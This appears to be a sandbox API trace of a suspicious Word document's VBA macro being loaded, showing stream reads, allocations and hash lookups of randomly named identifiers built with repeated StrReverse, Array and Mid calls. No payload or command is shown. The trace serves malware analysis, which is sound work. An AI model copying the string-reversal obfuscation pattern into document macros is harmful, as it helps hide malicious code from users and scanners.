(_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0018.253] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.253] CExposedDocFile::AddRef () returned 0x5 [0018.253] CExposedDocFile::AddRef () returned 0x6 [0018.253] CExposedDocFile::OpenStream () returned 0x0 [0018.253] CExposedDocFile::Release () returned 0x5 [0018.253] CExposedStream::Seek () returned 0x0 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x688) returned 0xbb65530 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959ce0 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x640) returned 0xbb65bc0 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c5f0 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7fe0 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7ff0 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c5c0 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959e00 [0018.253] CExposedStream::AddRef () returned 0x2 [0018.253] CExposedStream::Read () returned 0x0 [0018.253] CExposedStream::AddRef () returned 0x3 [0018.253] CExposedStream::Release () returned 0x2 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x2ee0) returned 0xbb5a430 [0018.253] CExposedStream::Read () returned 0x0 [0018.253] CExposedStream::Read () returned 0x0 [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01 [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xa) returned 0x796d820 [0018.253] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x14) returned 0x796dce0 [0018.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x796d820, cbMultiByte=10, lpWideCharStr=0x796dce0, cchWideChar=10 | out: lpWideCharStr="wTvKzqFRU") returned 10 [0018.253] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d820) [0018.253] IMalloc:Free (This=0x7fefe9e5380, pv=0x796dce0) [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qHXPhnQPQ") returned 0x1035a6 [0018.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69809ea, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0018.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69809ea, cbMultiByte=9, lpWideCharStr=0x781fbc8, cchWideChar=9 | out: lpWideCharStr="qHXPhnQPQ") returned 9 [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wkEuFjmF") returned 0x10b0dc [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.253] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ldNfBkJk") returned 0x1030ec [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sIJmjpOPV") returned 0x10de73 [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LjuQSbXtj") returned 0x105a91 [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wjvJZB") returned 0x10bf0b [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.254] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CHMcCkuwJ") returned 0x103595 [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MRvurEokpKa") returned 0x10b54c [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jijUlmv") returned 0x103e8a [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vfLAmLTsK") returned 0x10a433 [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.255] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tWPZjRnfZvd") returned 0x10b1e5 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DKjjzmWVu") returned 0x109670 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QidOpNcLt") returned 0x108788 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hRBFLImqotl") returned 0x104f1d [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LkRzpjBA") returned 0x10715e [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dUoFz") returned 0x1088f8 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wXnTJbGC") returned 0x10fbdb [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qEcRj") returned 0x10588c [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.257] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SkhQBlAT") returned 0x109d9d [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oLJXBlMGAz") returned 0x10c1b7 [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WvYOUAjNM") returned 0x10de30 [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] CExposedStream::Read () returned 0x0 [0018.258] CExposedStream::Read () returned 0x0 [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vPJVwQLnXbX") returned 0x1053a1 [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.258] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wdkSzkswAd") returned 0x10de5c [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QiQFvXzpbOL") returned 0x10c835 [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oimznbOZh") returned 0x10cd4e [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DQMlJcCsdSS") returned 0x10ce57 [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LGZOvzEdA") returned 0x1047c0 [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lkTlTGc") returned 0x10d56a [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WlImR") returned 0x10b945 [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.261] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.261] CExposedStream::Read () returned 0x0 [0018.261] CExposedStream::Read () returned 0x0 [0018.262] CExposedStream::Read () returned 0x0 [0018.262] CExposedStream::Read () returned 0x0 [0018.263] CExposedStream::Read () returned 0x0 [0018.263] CExposedStream::Read () returned 0x0 [0018.263] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x6b50000 [0018.264] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.264] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rpzsjwfVzwj") returned 0x10d72c [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kfKdlqCGPti") returned 0x10723e [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.265] LHashValOfNameSysA 